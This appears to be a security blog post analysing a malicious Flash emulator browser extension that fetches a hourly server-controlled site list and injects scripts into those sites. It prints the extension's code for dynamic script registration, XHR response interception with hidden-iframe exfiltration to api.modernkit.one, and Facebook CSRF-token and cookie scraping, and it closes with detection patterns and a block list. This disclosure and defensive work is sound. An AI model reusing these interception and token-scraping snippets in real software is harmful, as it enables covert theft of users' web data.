Inside Flash Player 2026: A Remote-Controlled Injection Network with 500K Users
A Flash emulator extension on Chrome and Edge was running a server-controlled code injection framework targeting 500,000+ users. The extension actually played Flash files. That was the point.
Inside Flash Player 2026: A Remote-Controlled Injection Network with 500K Users
This one annoyed me, because it was clever.
Flash Player Emulator 2026 (ecbnojockcgfohpopbphhgefkfbigcej on Chrome, fgenmmklgkdemhpgdppmldmkemplbcko on Edge) ships the legitimate Ruffle WASM Flash emulator. It actually plays .swf files. The emulator works. The reviews are real. People install it and use it and feel good about it.
Wrapped around that working emulator is a remote-controlled injection framework that lets the publisher inject arbitrary JavaScript into any website of their choosing, intercept HTTP response bodies there, and exfiltrate fields of their choosing — all without any extension update. No new version needed. Just a server-side config change.
I found this through our automated scanner and spent several hours confirming it before publishing. Here's exactly what it does.
The architecture
The extension has three components relevant to the malicious behavior: bg.js (1,025 lines, minified), detection-alternate.js, and detection-alternate-init.js. Everything else is the legitimate Flash player.
On a 1-hour alarm, bg.js calls:
POST https://api.modernkit.one/ext-activations/get-features
{ "app": "ext-flashplayer", "uuid": "<persistent-device-uuid>", "version": "1.9.3" }
The response includes alternateDetectionConfigv2 — a list of target entries, each containing a base64-encoded hostname. The extension decodes them and calls chrome.scripting.registerContentScripts():
for (const alternateConfig of data.alternateDetectionConfigv2) {
const host = atob(alternateConfig.host);
chrome.scripting.registerContentScripts([{
id: 'detection-alternate-' + host,
matches: ['https://' + host + '/*'],
js: ['detection-alternate-init.js'],
world: 'MAIN',
runAt: 'document_start'
}]);
}
The publisher's server decides which sites get injected. The extension just executes the list. Base64 encoding isn't a technical requirement here — it's the same encoding used to obscure the target list from anyone reading the code or the extension store's static review tools.
What the injected script does
detection-alternate.js runs in the MAIN world of the targeted site. The first thing it does is override XMLHttpRequest.prototype.open:
var mk1CheckPath = atob(mk1AlternateConfig.path);
var mk1CheckBody = atob(mk1AlternateConfig.body);
var mk1OriginalXHROpen = window.XMLHttpRequest.prototype.open;
window.XMLHttpRequest.prototype.open = function (method, url, isAsync) {
if (url.indexOf(mk1CheckPath) > -1) {
this.addEventListener('load', () => {
if (this.responseText.indexOf(mk1CheckBody) > -1) {
// parse response body using server-provided key paths
// filter using server-provided excludeKeys list
// send to exfiltration iframe
}
});
}
return mk1OriginalXHROpen.apply(this, arguments);
};
The URL path to intercept, the response body field to key on, and the fields to extract are all server-controlled. The excludeKeys list determines what gets filtered out before exfiltration — if the server sends an empty list, the full response body goes through. Data leaves the page through an invisible <iframe id="mk1PageBridge"> pointing to page-bridge.html inside the extension, which relays it to api.modernkit.one/alternate-detection/process-detection.
This runs in the MAIN world — not an isolated content script context. It shares the page's JavaScript heap. It can read anything in memory on the page it's injected into.
Why the "safe" manifest is a lie
The manifest has an exclude_matches list on its content scripts: banking sites, auth portals, sso.godaddy.com, authentication.td.com, duosecurity.com. It looks like a responsible developer saying "we know we're powerful, here are our self-imposed limits."
It's theater. exclude_matches only applies to content scripts declared statically in the manifest. Scripts registered at runtime via chrome.scripting.registerContentScripts() don't inherit it. Whatever modernkit.one pushes via their API gets the injection, regardless of what the manifest promises. The exclude list is specifically designed to pass a human reviewer's glance.
Same code, two stores, 200K Chrome installs
The Chrome and Edge versions are the same binary. Not "similar" — identical.
bg.js (Chrome): 84b585e73b507c64e959ba5bcecf2cdba7e68e86...
bg.js (Edge): 84b585e73b507c64e959ba5bcecf2cdba7e68e86...
detection-alternate.js (Chrome): b03d54ef53614f647e2b3d54c2daca37918bdc84...
detection-alternate.js (Edge): b03d54ef53614f647e2b3d54c2daca37918bdc84...
The Chrome variant, Flash Player Emulator 2026 (ecbnojockcgfohpopbphhgefkfbigcej), has 200,000+ installs. The Edge version has an unknown install count. Same publisher email: [email protected]. Same api.modernkit.one API infrastructure. The slight name change between stores was presumably to avoid automated cross-store deduplication.
The rest of the portfolio
ModernKit.one has four other extensions in our database. Two are worth flagging specifically.
Keyboard & Mouse for Xbox Cloud Gaming (nmfedkijhhigaikbadoijiolmjjgoimd) has 200,000+ installs on Chrome. It holds the scripting permission and phones home on the same pattern:
POST https://api.modernkit.one/ext-activations-xkbm/get-config
{ "app": "ext-xkbm", "uuid": "<device-uuid>", "version": "..." }
Whether this endpoint currently delivers injection payloads is up to modernkit.one. The infrastructure is there.
Old Layout for Facebook (abmkkackbbimmdbfjdilpnfaegaeagge) has 100,000+ installs and does something that has no business being in a CSS layout extension. Its content script, on every facebook.com page load, extracts:
dtsg = document.body.textContent.match(/"DTSGInitialData".*?"token":"(.*?)"/)[1];
c_user = document.cookie.match(/c_user=([0-9]+)/)[1];
fb_dtsg is Facebook's anti-CSRF token — used to authorize write actions on a user's behalf. c_user is the persistent Facebook user ID from cookies. The extension then calls chrome.runtime.sendMessage({action: "applyTheme"}) if both values are present, without passing the token values. In this version, the tokens aren't transmitted anywhere visible. But a theme toggler doesn't need to parse a CSRF token. Either there's a future use planned, or it's fingerprinting authenticated users before triggering further behavior. Neither explanation is great for 100,000 Facebook users.
Five extensions. Three stores. 500,000+ total users across the portfolio.
Why registerContentScripts is the problem — and what we actually don't know
Every extension goes through a store review once, at submission. The reviewer looks at the manifest, sees what permissions it requests and what scripts it declares, and approves or rejects it.
chrome.scripting.registerContentScripts() lets a running extension inject new content scripts into websites after that review happened. The scripts loaded are bundled in the extension, but the decision of which sites to inject into comes from wherever the extension fetches it at runtime. Here that's api.modernkit.one, polled every hour.
So the store review checked the manifest, saw a Flash emulator with some static content script declarations and a sensible-looking exclude list, and passed it. The actual targeting of sites is determined live, invisible to any audit, based on whatever the server returns that week.
This is what makes registerContentScripts with a remote-fetched target list specifically dangerous:
- No update required — the set of targeted sites changes every hour with no new submission, no new review, no new version number for anyone to notice
- MAIN world — the scripts register with
world: 'MAIN', meaning they run in the same JavaScript context as the webpage itself, not in the sandboxed extension context. They can read and modify anything the page's own JavaScript can touch - exclude_matches bypass — the manifest's static exclude list for banking and auth sites only applies to statically declared content scripts. Dynamically registered ones don't inherit it
The honest answer about impact is: we don't know what sites were being targeted, or whether any were. The target hostnames and the URL paths to intercept are fetched live from the server and never stored in the extension. Whatever api.modernkit.one was returning as of the last poll is what was active — and that changes without any trace. We can see the pipes. We can't see what was flowing through them.
What we can say is that the infrastructure is purpose-built for exfiltration. The code to intercept XHR responses, extract server-specified fields, strip server-specified exclusions, and relay the result to an endpoint is all present and functional. Whether modernkit.one used it for something benign (detecting Flash content on streaming sites, which is the stated purpose) or was quietly harvesting data from other sites is a question only their server logs can answer.
Why automated scanning missed this
Our scanner extracted modernkit.one as a network IOC and flagged it at medium severity, mixed in with a pile of other domains. The AI review classified it as "likely false positive."
The capability isn't visible in the extension code in any meaningful static sense. chrome.scripting.registerContentScripts() is a legitimate API. atob() is a legitimate function. Fetching a config from a server on a timer is what every SaaS SDK does. None of these look wrong individually. They look wrong together, in context, when you understand the combination means "publisher can inject code into any site at any time with no update required."
We've added detection for that combination:
- The
scripting+alarms+<all_urls>permission triplet in Manifest V3 registerContentScripts()calls with server-provided target listsXMLHttpRequest.prototype.openoverrides in extension context- Hidden iframe exfiltration patterns
What we've filed
We filed a coordinated disclosure with Microsoft for the Edge variant and are filing separately with Google for the Chrome extensions. The report includes SHA256 hashes of the malicious files, the full API call chain, and the cross-extension hash comparison showing the Chrome and Edge variants are identical.
Block list for enterprise security teams:
- Domain:
modernkit.one,api.modernkit.one - Chrome:
ecbnojockcgfohpopbphhgefkfbigcej,nmfedkijhhigaikbadoijiolmjjgoimd,abmkkackbbimmdbfjdilpnfaegaeagge,lagjemdbpofhdcobehfbnclmpghbdfdo - Edge:
fgenmmklgkdemhpgdppmldmkemplbcko
Full scorecard and findings for the Flash Player extensions are on the platform: Flash Player Emulator 2026 and Flash Player 2026.
The broader problem
The Flash Player lure is smart. Flash is actually dead, users miss it, the Ruffle emulator is a real project that solves a real problem. A user who installs this gets a working extension. They're happy. They leave a positive review. They don't uninstall it. And in the background, on a 1-hour timer, the publisher is polling their server for instructions about which sites to intercept this week.
This is the extension supply chain problem in one case study. The malicious payload isn't in the initial install. It's pulled down after the fact, gated by a server the publisher controls, and it requires no user interaction, no update, and no new permissions. The store review happened once at submission. Everything after that is between the extension and the publisher's API.
The only way to catch this is to treat extension security as an ongoing monitoring problem, not a one-time review. That's what we're building.